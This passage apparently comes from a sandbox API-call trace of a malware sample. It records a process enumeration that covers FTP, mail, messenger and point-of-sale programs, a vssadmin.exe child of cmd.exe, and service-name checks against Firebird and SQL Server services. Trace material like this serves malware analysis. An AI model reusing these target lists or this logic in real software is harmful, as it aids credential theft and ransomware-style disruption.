th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0083.968] lstrlenW (lpString="3dftp.exe") returned 9 [0083.968] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0083.969] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0083.969] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0083.970] lstrlenW (lpString="alftp.exe") returned 9 [0083.970] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0083.972] lstrlenW (lpString="barca.exe") returned 9 [0083.972] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0083.973] lstrlenW (lpString="bitkinex.exe") returned 12 [0083.973] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0083.975] lstrlenW (lpString="coreftp.exe") returned 11 [0083.975] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0083.976] lstrlenW (lpString="far.exe") returned 7 [0083.976] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0083.977] lstrlenW (lpString="filezilla.exe") returned 13 [0083.977] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0083.978] lstrlenW (lpString="flashfxp.exe") returned 12 [0083.978] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0083.979] lstrlenW (lpString="fling.exe") returned 9 [0083.979] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0083.980] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0083.981] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0083.982] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0083.982] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0083.983] lstrlenW (lpString="icq.exe") returned 7 [0083.983] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0083.984] lstrlenW (lpString="leechftp.exe") returned 12 [0083.984] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0083.985] lstrlenW (lpString="ncftp.exe") returned 9 [0083.985] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0083.986] lstrlenW (lpString="notepad.exe") returned 11 [0083.987] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0083.988] lstrlenW (lpString="operamail.exe") returned 13 [0083.988] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0083.990] lstrlenW (lpString="pidgin.exe") returned 10 [0083.990] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0084.132] lstrlenW (lpString="scriptftp.exe") returned 13 [0084.132] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0084.134] lstrlenW (lpString="skype.exe") returned 9 [0084.134] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0084.136] lstrlenW (lpString="smartftp.exe") returned 12 [0084.136] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0084.138] lstrlenW (lpString="thunderbird.exe") returned 15 [0084.138] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0084.139] lstrlenW (lpString="totalcmd.exe") returned 12 [0084.139] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0084.141] lstrlenW (lpString="trillian.exe") returned 12 [0084.141] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0084.142] lstrlenW (lpString="webdrive.exe") returned 12 [0084.142] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0084.144] lstrlenW (lpString="whatsapp.exe") returned 12 [0084.144] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0084.146] lstrlenW (lpString="winscp.exe") returned 10 [0084.146] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0084.147] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0084.147] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0084.149] lstrlenW (lpString="active-charge.exe") returned 17 [0084.149] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0084.150] lstrlenW (lpString="accupos.exe") returned 11 [0084.150] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0084.152] lstrlenW (lpString="afr38.exe") returned 9 [0084.152] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0084.153] lstrlenW (lpString="aldelo.exe") returned 10 [0084.153] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0084.155] lstrlenW (lpString="ccv_server.exe") returned 14 [0084.155] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0084.156] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0084.156] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0084.157] lstrlenW (lpString="creditservice.exe") returned 17 [0084.157] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0084.158] lstrlenW (lpString="edcsvr.exe") returned 10 [0084.158] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0084.159] lstrlenW (lpString="fpos.exe") returned 8 [0084.159] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x994, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0084.161] lstrlenW (lpString="isspos.exe") returned 10 [0084.161] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0084.163] lstrlenW (lpString="mxslipstream.exe") returned 16 [0084.163] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0084.164] lstrlenW (lpString="omnipos.exe") returned 11 [0084.164] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0084.165] lstrlenW (lpString="spcwin.exe") returned 10 [0084.165] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0084.166] lstrlenW (lpString="spgagentservice.exe") returned 19 [0084.167] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0084.167] lstrlenW (lpString="utg2.exe") returned 8 [0084.168] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="faces gardening massage.exe")) returned 1 [0084.168] lstrlenW (lpString="faces gardening massage.exe") returned 27 [0084.169] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forbidden exhibits fireplace.exe")) returned 1 [0084.170] lstrlenW (lpString="forbidden exhibits fireplace.exe") returned 32 [0084.170] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intendedreceivedchick.exe")) returned 1 [0084.171] lstrlenW (lpString="intendedreceivedchick.exe") returned 25 [0084.171] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieve.exe")) returned 1 [0084.172] lstrlenW (lpString="achieve.exe") returned 11 [0084.172] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="harvard.exe")) returned 1 [0084.174] lstrlenW (lpString="harvard.exe") returned 11 [0084.174] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.175] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.175] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0084.176] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0084.176] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0084.267] lstrlenW (lpString="taskhost.exe") returned 12 [0084.267] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mdskkv.exe")) returned 1 [0084.269] lstrlenW (lpString="mdskkv.exe") returned 10 [0084.269] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0084.270] lstrlenW (lpString="cmd.exe") returned 7 [0084.270] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0084.272] lstrlenW (lpString="conhost.exe") returned 11 [0084.272] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x600, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0084.274] lstrlenW (lpString="vssadmin.exe") returned 12 [0084.274] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0084.275] lstrlenW (lpString="VSSVC.exe") returned 9 [0084.275] Process32NextW (in: hSnapshot=0x1bc, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0084.275] CloseHandle (hObject=0x1bc) returned 1 [0084.276] Sleep (dwMilliseconds=0x1f4) [0085.042] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x624d38 [0085.043] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0085.044] GetLastError () returned 0xea [0085.044] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x622818 [0085.044] EnumServicesStatusExW (in: hSCManager=0x624d38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x622818, cbBufSize=0x123e, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x622818, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0085.046] CloseServiceHandle (hSCObject=0x624d38) returned 1 [0085.046] lstrlenW (lpString="Appinfo") returned 7 [0085.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0085.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0085.046] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0085.046] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0085.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0085.047] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0085.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0085.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0085.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0085.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0085.047] lstrlenW (lpString="AudioSrv") returned 8 [0085.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0085.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0085.047] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0085.047] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0085.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0085.047] lstrlenW (lpString="BFE") returned 3 [0085.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0085.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0085.047] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0085.047] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0085.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0085.047] lstrlenW (lpString="CryptSvc") returned 8 [0085.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0085.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0085.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0085.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0085.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0085.048] lstrlenW (lpString="CscService") returned 10 [0085.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0085.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0085.048] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0085.048] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0085.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0085.048] lstrlenW (lpString="DcomLaunch") returned 10 [0085.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0085.048] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0085.048] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0085.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0085.049] lstrlenW (lpString="Dhcp") returned 4 [0085.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0085.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0085.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0085.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0085.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0085.049] lstrlenW (lpString="Dnscache") returned 8 [0085.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0085.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0085.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0085.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0085.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0085.049] lstrlenW (lpString="DPS") returned 3 [0085.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 